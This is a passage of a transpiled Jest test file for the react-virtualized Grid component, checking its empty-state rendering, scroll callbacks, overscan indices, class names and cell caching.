      expect(list.textContent).toEqual('No data');
    });
    it('should render an empty body if :columnCount is 0 and there is no :noContentRenderer', function () {
      var list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        columnCount: 0
      })));
      expect(list.textContent).toEqual('');
    });
    it('should render an empty body if :rowCount is 0 and there is no :noContentRenderer', function () {
      var list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        rowCount: 0
      })));
      expect(list.textContent).toEqual('');
    });
    it('should render an empty body there is a :noContentRenderer but :height or :width are 0', function () {
      var list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 0,
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        }
      })));
      expect(list.textContent).toEqual('');
      list = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        noContentRenderer: function noContentRenderer() {
          return React.createElement("div", null, "No data");
        },
        width: 0
      })));
      expect(list.textContent).toEqual('');
    });
  });
  describe('onSectionRendered', function () {
    it('should call :onSectionRendered if at least one cell is rendered', function () {
      var columnStartIndex, columnStopIndex, rowStartIndex, rowStopIndex;
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          var _params;

          return _params = params, columnStartIndex = _params.columnStartIndex, columnStopIndex = _params.columnStopIndex, rowStartIndex = _params.rowStartIndex, rowStopIndex = _params.rowStopIndex, _params;
        }
      }));
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(4);
    });
    it('should not call :onSectionRendered unless the column or row start or stop indices have changed', function () {
      var numCalls = 0;
      var columnStartIndex, columnStopIndex, rowStartIndex, rowStopIndex;

      var onSectionRendered = function onSectionRendered(params) {
        columnStartIndex = params.columnStartIndex;
        columnStopIndex = params.columnStopIndex;
        rowStartIndex = params.rowStartIndex;
        rowStopIndex = params.rowStopIndex;
        numCalls++;
      };

      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(1);
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(4);
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(1);
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(4);
    });
    it('should call :onSectionRendered if the row or column start or stop indices have changed', function () {
      var numCalls = 0;
      var columnStartIndex, columnStopIndex, rowStartIndex, rowStopIndex;

      var onSectionRendered = function onSectionRendered(params) {
        columnStartIndex = params.columnStartIndex;
        columnStopIndex = params.columnStopIndex;
        rowStartIndex = params.rowStartIndex;
        rowStopIndex = params.rowStopIndex;
        numCalls++;
      };

      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: onSectionRendered
      }));
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(4);
      (0, _TestUtils.render)(getMarkup({
        height: 50,
        onSectionRendered: onSectionRendered
      }));
      expect(numCalls).toEqual(2);
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(2);
      (0, _TestUtils.render)(getMarkup({
        height: 50,
        onSectionRendered: onSectionRendered,
        width: 100
      }));
      expect(numCalls).toEqual(3);
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(1);
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(2);
    });
    it('should not call :onSectionRendered if no cells are rendered', function () {
      var numCalls = 0;
      (0, _TestUtils.render)(getMarkup({
        height: 0,
        onSectionRendered: function onSectionRendered() {
          return numCalls++;
        }
      }));
      expect(numCalls).toEqual(0);
    });
  });
  describe(':scrollLeft and :scrollTop properties', function () {
    it('should render correctly when an initial :scrollLeft and :scrollTop properties are specified', function () {
      var columnStartIndex, columnStopIndex, rowStartIndex, rowStopIndex;
      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          var _params2;

          return _params2 = params, columnStartIndex = _params2.columnStartIndex, columnStopIndex = _params2.columnStopIndex, rowStartIndex = _params2.rowStartIndex, rowStopIndex = _params2.rowStopIndex, _params2;
        },
        scrollLeft: 250,
        scrollTop: 100
      })));
      expect(rowStartIndex).toEqual(5);
      expect(rowStopIndex).toEqual(9);
      expect(columnStartIndex).toEqual(5);
      expect(columnStopIndex).toEqual(8);
    });
    it('should render correctly when :scrollLeft and :scrollTop properties are updated', function () {
      var columnStartIndex, columnStopIndex, rowStartIndex, rowStopIndex;
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          var _params3;

          return _params3 = params, columnStartIndex = _params3.columnStartIndex, columnStopIndex = _params3.columnStopIndex, rowStartIndex = _params3.rowStartIndex, rowStopIndex = _params3.rowStopIndex, _params3;
        }
      }));
      expect(rowStartIndex).toEqual(0);
      expect(rowStopIndex).toEqual(4);
      expect(columnStartIndex).toEqual(0);
      expect(columnStopIndex).toEqual(3);
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: function onSectionRendered(params) {
          var _params4;

          return _params4 = params, columnStartIndex = _params4.columnStartIndex, columnStopIndex = _params4.columnStopIndex, rowStartIndex = _params4.rowStartIndex, rowStopIndex = _params4.rowStopIndex, _params4;
        },
        scrollLeft: 250,
        scrollTop: 100
      }));
      expect(rowStartIndex).toEqual(5);
      expect(rowStopIndex).toEqual(9);
      expect(columnStartIndex).toEqual(5);
      expect(columnStopIndex).toEqual(8);
    });
  });
  describe('styles, classNames, and ids', function () {
    it('should use the expected global CSS classNames', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(rendered.className).toEqual('ReactVirtualized__Grid');
    });
    it('should use a custom :className if specified', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        className: 'foo'
      })));
      expect(rendered.className).toContain('foo');
    });
    it('should use a custom :id if specified', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        id: 'bar'
      })));
      expect(rendered.getAttribute('id')).toEqual('bar');
    });
    it('should use a custom :style if specified', function () {
      var style = {
        backgroundColor: 'red'
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        style: style
      })));
      expect(rendered.style.backgroundColor).toEqual('red');
    });
    it('should use a custom :containerStyle if specified', function () {
      var containerStyle = {
        backgroundColor: 'red'
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        containerStyle: containerStyle
      })));
      expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.backgroundColor).toEqual('red');
    });
  });
  describe('onScroll', function () {
    it('should trigger callback when component is mounted', function () {
      var onScrollCalls = [];
      (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        },
        scrollLeft: 50,
        scrollTop: 100
      }));
      expect(onScrollCalls).toEqual([{
        clientHeight: 100,
        clientWidth: 200,
        scrollHeight: 2000,
        scrollLeft: 50,
        scrollTop: 100,
        scrollWidth: 2500
      }]);
    });
    it('should trigger callback when component scrolls horizontally', function () {
      var onScrollCalls = [];
      var grid = (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      simulateScroll({
        grid: grid,
        scrollLeft: 100,
        scrollTop: 0
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: 100,
        clientWidth: 200,
        scrollHeight: 2000,
        scrollLeft: 100,
        scrollTop: 0,
        scrollWidth: 2500
      });
    });
    it('should trigger callback when component scrolls vertically', function () {
      var onScrollCalls = [];
      var grid = (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 100
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: 100,
        clientWidth: 200,
        scrollHeight: 2000,
        scrollLeft: 0,
        scrollTop: 100,
        scrollWidth: 2500
      });
    });
    it('should trigger callback with scrollLeft of 0 when total columns width is less than width', function () {
      var onScrollCalls = [];
      var grid = (0, _TestUtils.render)(getMarkup({
        columnCount: 1,
        columnWidth: 50,
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        },
        scrollLeft: 0,
        scrollTop: 10,
        width: 200
      }));
      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 0
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: 100,
        clientWidth: 200,
        scrollHeight: 2000,
        scrollLeft: 0,
        scrollTop: 0,
        scrollWidth: 50
      });
    });
    it('should trigger callback with scrollTop of 0 when total rows height is less than height', function () {
      var onScrollCalls = [];
      var grid = (0, _TestUtils.render)(getMarkup({
        rowCount: 1,
        rowHeight: 50,
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        },
        scrollLeft: 0,
        scrollTop: 10,
        height: 200
      }));
      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 0
      });
      expect(onScrollCalls.length).toEqual(2);
      expect(onScrollCalls[1]).toEqual({
        clientHeight: 200,
        clientWidth: 200,
        scrollHeight: 50,
        scrollLeft: 0,
        scrollTop: 0,
        scrollWidth: 2500
      });
    }); // Support use-cases like WindowScroller; enable them to stay in sync with scroll-to-cell changes.

    it('should trigger when :scrollToColumn or :scrollToRow are changed via props', function () {
      var onScrollCalls = [];
      (0, _TestUtils.render)(getMarkup());
      (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        },
        scrollToColumn: 24,
        scrollToRow: 49
      }));
      expect(onScrollCalls).toEqual([{
        clientHeight: 100,
        clientWidth: 200,
        scrollHeight: 2000,
        scrollLeft: 1050,
        scrollTop: 900,
        scrollWidth: 2500
      }]);
    });
  });
  describe('overscanColumnCount & overscanRowCount', function () {
    function createHelper() {
      var _columnOverscanStartIndex, _columnOverscanStopIndex, _columnStartIndex, _columnStopIndex, _rowOverscanStartIndex, _rowOverscanStopIndex, _rowStartIndex, _rowStopIndex;

      function onSectionRendered(params) {
        _columnOverscanStartIndex = params.columnOverscanStartIndex;
        _columnOverscanStopIndex = params.columnOverscanStopIndex;
        _columnStartIndex = params.columnStartIndex;
        _columnStopIndex = params.columnStopIndex;
        _rowOverscanStartIndex = params.rowOverscanStartIndex;
        _rowOverscanStopIndex = params.rowOverscanStopIndex;
        _rowStartIndex = params.rowStartIndex;
        _rowStopIndex = params.rowStopIndex;
      }

      return {
        columnOverscanStartIndex: function columnOverscanStartIndex() {
          return _columnOverscanStartIndex;
        },
        columnOverscanStopIndex: function columnOverscanStopIndex() {
          return _columnOverscanStopIndex;
        },
        columnStartIndex: function columnStartIndex() {
          return _columnStartIndex;
        },
        columnStopIndex: function columnStopIndex() {
          return _columnStopIndex;
        },
        onSectionRendered: onSectionRendered,
        rowOverscanStartIndex: function rowOverscanStartIndex() {
          return _rowOverscanStartIndex;
        },
        rowOverscanStopIndex: function rowOverscanStopIndex() {
          return _rowOverscanStopIndex;
        },
        rowStartIndex: function rowStartIndex() {
          return _rowStartIndex;
        },
        rowStopIndex: function rowStopIndex() {
          return _rowStopIndex;
        }
      };
    }

    it('should not overscan if disabled', function () {
      var helper = createHelper();
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: helper.onSectionRendered
      }));
      expect(helper.columnOverscanStartIndex()).toEqual(helper.columnStartIndex());
      expect(helper.columnOverscanStopIndex()).toEqual(helper.columnStopIndex());
      expect(helper.rowOverscanStartIndex()).toEqual(helper.rowStartIndex());
      expect(helper.rowOverscanStopIndex()).toEqual(helper.rowStopIndex());
    });
    it('should overscan the specified amount', function () {
      var helper = createHelper();
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: helper.onSectionRendered,
        overscanColumnCount: 2,
        overscanRowCount: 5,
        scrollToColumn: 25,
        scrollToRow: 50
      }));
      expect(helper.columnOverscanStartIndex()).toEqual(22);
      expect(helper.columnOverscanStopIndex()).toEqual(27);
      expect(helper.columnStartIndex()).toEqual(22);
      expect(helper.columnStopIndex()).toEqual(25);
      expect(helper.rowOverscanStartIndex()).toEqual(46);
      expect(helper.rowOverscanStopIndex()).toEqual(55);
      expect(helper.rowStartIndex()).toEqual(46);
      expect(helper.rowStopIndex()).toEqual(50);
    });
    it('should not overscan beyond the bounds of the grid', function () {
      var helper = createHelper();
      (0, _TestUtils.render)(getMarkup({
        onSectionRendered: helper.onSectionRendered,
        columnCount: 6,
        overscanColumnCount: 10,
        overscanRowCount: 10,
        rowCount: 5
      }));
      expect(helper.columnOverscanStartIndex()).toEqual(0);
      expect(helper.columnOverscanStopIndex()).toEqual(5);
      expect(helper.columnStartIndex()).toEqual(0);
      expect(helper.columnStopIndex()).toEqual(3);
      expect(helper.rowOverscanStartIndex()).toEqual(0);
      expect(helper.rowOverscanStopIndex()).toEqual(4);
      expect(helper.rowStartIndex()).toEqual(0);
      expect(helper.rowStopIndex()).toEqual(4);
    });
    it('should set the correct scroll direction', function () {
      // Do not pass in the initial state as props, otherwise the internal state is forbidden from updating itself
      var grid = (0, _TestUtils.render)(getMarkup()); // Simulate a scroll to set the initial internal state

      simulateScroll({
        grid: grid,
        scrollLeft: 50,
        scrollTop: 50
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 0
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD);
      simulateScroll({
        grid: grid,
        scrollLeft: 100,
        scrollTop: 100
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
    });
    it('should set the correct scroll direction when scroll position is updated from props', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        scrollLeft: 50,
        scrollTop: 50
      }));
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      grid = (0, _TestUtils.render)(getMarkup({
        scrollLeft: 0,
        scrollTop: 0
      }));
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD);
      grid = (0, _TestUtils.render)(getMarkup({
        scrollLeft: 100,
        scrollTop: 100
      }));
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
    });
    it('should not reset scroll direction for one axis when scrolled in another', function () {
      // Do not pass in the initial state as props, otherwise the internal state is forbidden from updating itself
      var grid = (0, _TestUtils.render)(getMarkup()); // Simulate a scroll to set the initial internal state

      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 5
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      simulateScroll({
        grid: grid,
        scrollLeft: 5,
        scrollTop: 5
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      simulateScroll({
        grid: grid,
        scrollLeft: 5,
        scrollTop: 0
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD);
      simulateScroll({
        grid: grid,
        scrollLeft: 0,
        scrollTop: 0
      });
      expect(grid.state.scrollDirectionHorizontal).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD);
      expect(grid.state.scrollDirectionVertical).toEqual(_defaultOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD);
    });
    it('should overscan in the direction being scrolled', function _callee(done) {
      var helper, onSectionRenderedResolve, onSectionRendered, grid, onSectionRenderedPromise;
      return _regenerator["default"].async(function _callee$(_context) {
        while (1) {
          switch (_context.prev = _context.next) {
            case 0:
              onSectionRendered = function _ref5(params) {
                helper.onSectionRendered(params);

                if (onSectionRenderedResolve) {
                  onSectionRenderedResolve();
                }
              };

              helper = createHelper();
              grid = (0, _TestUtils.render)(getMarkup({
                onSectionRendered: onSectionRendered,
                overscanColumnCount: 2,
                overscanRowCount: 5
              })); // Wait until the onSectionRendered handler / debouncer has processed

              onSectionRenderedPromise = new Promise(function (resolve) {
                onSectionRenderedResolve = resolve;
              });
              simulateScroll({
                grid: grid,
                scrollLeft: 200,
                scrollTop: 200
              });
              _context.next = 7;
              return _regenerator["default"].awrap(onSectionRenderedPromise);

            case 7:
              // It should overscan in the direction being scrolled while scroll is in progress
              expect(helper.columnOverscanStartIndex()).toEqual(4);
              expect(helper.columnOverscanStopIndex()).toEqual(9);
              expect(helper.columnStartIndex()).toEqual(4);
              expect(helper.columnStopIndex()).toEqual(7);
              expect(helper.rowOverscanStartIndex()).toEqual(10);
              expect(helper.rowOverscanStopIndex()).toEqual(19);
              expect(helper.rowStartIndex()).toEqual(10);
              expect(helper.rowStopIndex()).toEqual(14); // Wait until the onSectionRendered handler / debouncer has processed

              onSectionRenderedPromise = new Promise(function (resolve) {
                onSectionRenderedResolve = resolve;
              });
              simulateScroll({
                grid: grid,
                scrollLeft: 100,
                scrollTop: 100
              });
              _context.next = 19;
              return _regenerator["default"].awrap(onSectionRenderedPromise);

            case 19:
              // It reset overscan once scrolling has finished
              expect(helper.columnOverscanStartIndex()).toEqual(0);
              expect(helper.columnOverscanStopIndex()).toEqual(5);
              expect(helper.columnStartIndex()).toEqual(2);
              expect(helper.columnStopIndex()).toEqual(5);
              expect(helper.rowOverscanStartIndex()).toEqual(0);
              expect(helper.rowOverscanStopIndex()).toEqual(9);
              expect(helper.rowStartIndex()).toEqual(5);
              expect(helper.rowStopIndex()).toEqual(9);
              done();

            case 28:
            case "end":
              return _context.stop();
          }
        }
      });
    });
  });
  describe('cellRangeRenderer', function () {
    it('should use a custom :cellRangeRenderer if specified', function () {
      var cellRangeRendererCalled = 0;
      var cellRangeRendererParams;
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        cellRangeRenderer: function cellRangeRenderer(params) {
          cellRangeRendererParams = params;
          cellRangeRendererCalled++;
          return [React.createElement("div", {
            key: "0"
          }, "Fake content")];
        }
      })));
      expect(cellRangeRendererCalled).toEqual(1);
      expect(cellRangeRendererParams.columnStartIndex).toEqual(0);
      expect(cellRangeRendererParams.columnStopIndex).toEqual(3);
      expect(cellRangeRendererParams.rowStartIndex).toEqual(0);
      expect(cellRangeRendererParams.rowStopIndex).toEqual(4);
      expect(rendered.textContent).toContain('Fake content');
    });
  });
  describe('estimated row and column sizes', function () {
    it('should not estimate sizes if actual sizes are numbers', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        columnWidth: 100,
        estimatedColumnSize: 150,
        estimatedRowSize: 15,
        rowHeight: 20
      }));
      expect(_Grid["default"]._getEstimatedColumnSize(grid.props)).toEqual(100);
      expect(_Grid["default"]._getEstimatedRowSize(grid.props)).toEqual(20);
    });
    it('should estimate row and column sizes if actual sizes are functions', function () {
      var grid = (0, _TestUtils.render)(getMarkup({
        columnWidth: function columnWidth() {
          return 100;
        },
        estimatedColumnSize: 150,
        estimatedRowSize: 15,
        rowHeight: function rowHeight() {
          return 20;
        }
      }));
      expect(_Grid["default"]._getEstimatedColumnSize(grid.props)).toEqual(150);
      expect(_Grid["default"]._getEstimatedRowSize(grid.props)).toEqual(15);
    });
  });
  it('should pass the cellRenderer an :isScrolling flag when scrolling is in progress', function _callee2(done) {
    var cellRendererCalls, cellRenderer, grid;
    return _regenerator["default"].async(function _callee2$(_context2) {
      while (1) {
        switch (_context2.prev = _context2.next) {
          case 0:
            cellRenderer = function _ref7(_ref6) {
              var columnIndex = _ref6.columnIndex,
                  isScrolling = _ref6.isScrolling,
                  key = _ref6.key,
                  rowIndex = _ref6.rowIndex,
                  style = _ref6.style;
              cellRendererCalls.push(isScrolling);
              return defaultCellRenderer({
                columnIndex: columnIndex,
                key: key,
                rowIndex: rowIndex,
                style: style
              });
            };

            cellRendererCalls = [];
            grid = (0, _TestUtils.render)(getMarkup({
              cellRenderer: cellRenderer
            }));
            expect(cellRendererCalls[0]).toEqual(false);
            cellRendererCalls.splice(0); // Give React time to process the queued setState()

            _context2.next = 7;
            return _regenerator["default"].awrap(new Promise(function (resolve) {
              return setTimeout(resolve, 1);
            }));

          case 7:
            simulateScroll({
              grid: grid,
              scrollTop: 100
            });
            expect(cellRendererCalls[0]).toEqual(true);
            done();

          case 10:
          case "end":
            return _context2.stop();
        }
      }
    });
  });
  it('should pass the cellRenderer an :isScrolling flag based on props override', function () {
    var cellRenderer = jest.fn();
    cellRenderer.mockImplementation(function (_ref8) {
      var key = _ref8.key,
          style = _ref8.style;
      return React.createElement("div", {
        key: key,
        style: style
      });
    });
    (0, _TestUtils.render)(getMarkup({
      cellRenderer: cellRenderer,
      isScrolling: true
    }));
    expect(cellRenderer).toHaveBeenCalled();
    expect(cellRenderer.mock.calls[0][0].isScrolling).toBe(true);
    cellRenderer.mockReset();
    (0, _TestUtils.render)(getMarkup({
      cellRenderer: cellRenderer,
      isScrolling: false,
      width: DEFAULT_WIDTH + 1
    }));
    expect(cellRenderer).toHaveBeenCalled();
    expect(cellRenderer.mock.calls[0][0].isScrolling).toBe(false);
  });
  it('should pass the cellRenderer an :isVisible flag', function () {
    var cellRendererCalls = [];

    function cellRenderer(props) {
      cellRendererCalls.push(props);
      return defaultCellRenderer(props);
    }

    (0, _TestUtils.render)(getMarkup({
      cellRenderer: cellRenderer,
      height: DEFAULT_ROW_HEIGHT,
      overscanColumnCount: 1,
      overscanRowCount: 1,
      width: DEFAULT_COLUMN_WIDTH
    }));
    cellRendererCalls.forEach(function (props) {
      expect(props.isVisible).toEqual(props.columnIndex === 0 && props.rowIndex === 0); // Only the first cell is visible
    });
  });
  describe('cell caching', function () {
    it('should not cache cells if the Grid is not scrolling', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref9) {
        var columnIndex = _ref9.columnIndex,
            key = _ref9.key,
            rowIndex = _ref9.rowIndex,
            style = _ref9.style;
        cellRendererCalls.push({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        return defaultCellRenderer({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        scrollToRow: 0,
        width: 100
      };
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        scrollToRow: 0
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
      cellRendererCalls.splice(0);
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        scrollToRow: 1
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
    });
    it('should not cache cells if the offsets are not adjusted', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref10) {
        var columnIndex = _ref10.columnIndex,
            key = _ref10.key,
            rowIndex = _ref10.rowIndex,
            style = _ref10.style;
        cellRendererCalls.push({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        return defaultCellRenderer({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        rowCount: 100000,
        scrollToRow: 0,
        width: 100
      };
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        scrollToRow: 0
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
      cellRendererCalls.splice(0);
      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        scrollToRow: 1
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
    });
    it('should cache a cell once it has been rendered while scrolling', function () {
      var cellRendererCalls = [];

      function cellRenderer(_ref11) {
        var columnIndex = _ref11.columnIndex,
            key = _ref11.key,
            rowIndex = _ref11.rowIndex,
            style = _ref11.style;
        cellRendererCalls.push({
          columnIndex: columnIndex,
          rowIndex: rowIndex
        });
        return defaultCellRenderer({
          columnIndex: columnIndex,
          key: key,
          rowIndex: rowIndex,
          style: style
        });
      }

      var props = {
        cellRenderer: cellRenderer,
        columnWidth: 100,
        height: 40,
        rowHeight: 20,
        width: 100
      };
      var grid = (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        scrollToRow: 0
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 0
      }, {
        columnIndex: 0,
        rowIndex: 1
      }]);
      simulateScroll({
        grid: grid,
        scrollTop: 1
      });
      cellRendererCalls.splice(0); // Rows 0-2 have already rendered but row 3 is not yet visible
      // This means that only row 3 should be newly-created
      // The others should come from the cache

      (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
        scrollToRow: 3
      })));
      expect(cellRendererCalls).toEqual([{
        columnIndex: 0,
        rowIndex: 3
      }]);
    });
    it('should clear cache once :isScrolling is false', function _callee3(done) {
      var cellRendererCalls, cellRenderer, props, grid;
      return _regenerator["default"].async(function _callee3$(_context3) {
        while (1) {
          switch (_context3.prev = _context3.next) {
            case 0:
              cellRenderer = function _ref13(_ref12) {
                var columnIndex = _ref12.columnIndex,
                    key = _ref12.key,
                    rowIndex = _ref12.rowIndex,
                    style = _ref12.style;
                cellRendererCalls.push({
                  columnIndex: columnIndex,
                  rowIndex: rowIndex
                });
                return defaultCellRenderer({
                  columnIndex: columnIndex,
                  key: key,
                  rowIndex: rowIndex,
                  style: style
                });
              };

              cellRendererCalls = [];
              props = {
                cellRenderer: cellRenderer,
                columnWidth: 100,
                height: 40,
                rowHeight: 20,
                scrollToRow: 0,
                width: 100
              };
              grid = (0, _TestUtils.render)(getMarkup(props));
              expect(cellRendererCalls).toEqual([{
                columnIndex: 0,
                rowIndex: 0
              }, {
                columnIndex: 0,
                rowIndex: 1
              }]);
              simulateScroll({
                grid: grid,
                scrollTop: 1
              }); // Allow scrolling timeout to complete so that cell cache is reset

              _context3.next = 8;
              return _regenerator["default"].awrap(new Promise(function (resolve) {
                return setTimeout(resolve, _Grid.DEFAULT_SCROLLING_RESET_TIME_INTERVAL * 2);
              }));

            case 8:
              cellRendererCalls.splice(0);
              (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
                scrollToRow: 1
              })));
              expect(cellRendererCalls.length).not.toEqual(0);
              done();

            case 12:
            case "end":
              return _context3.stop();
          }
        }
      });
    });
    it('should clear cache once :isScrolling via props is false', function _callee4() {
      var cellRenderer, props, scrollingStyle;
      return _regenerator["default"].async(function _callee4$(_context4) {
        while (1) {
          switch (_context4.prev = _context4.next) {
            case 0:
              cellRenderer = jest.fn();
              cellRenderer.mockImplementation(function (params) {
                return React.createElement("div", {
                  key: params.key,
                  style: params.style
                });
              });
              props = {
                autoHeight: true,
                cellRenderer: cellRenderer,
                columnCount: 1,
                isScrolling: true,
                rowCount: 1
              };
              (0, _TestUtils.render)(getMarkup(props));
              (0, _TestUtils.render)(getMarkup(props));
              expect(cellRenderer).toHaveBeenCalledTimes(1); // Due to cell cache

              scrollingStyle = cellRenderer.mock.calls[0][0].style;
              cellRenderer.mockReset();
              (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
                isScrolling: false
              })));
              expect(cellRenderer.mock.calls[0][0].style).toBe(scrollingStyle);
              expect(cellRenderer).toHaveBeenCalledTimes(1); // Reset cache

              cellRenderer.mockReset();
              (0, _TestUtils.render)(getMarkup(_objectSpread({}, props, {
                isScrolling: true
              })));
              expect(cellRenderer.mock.calls[0][0].style).not.toBe(scrollingStyle);
              expect(cellRenderer).toHaveBeenCalledTimes(1); // Only cached when scrolling

            case 15:
            case "end":
              return _context4.stop();
          }
        }
      });
    });
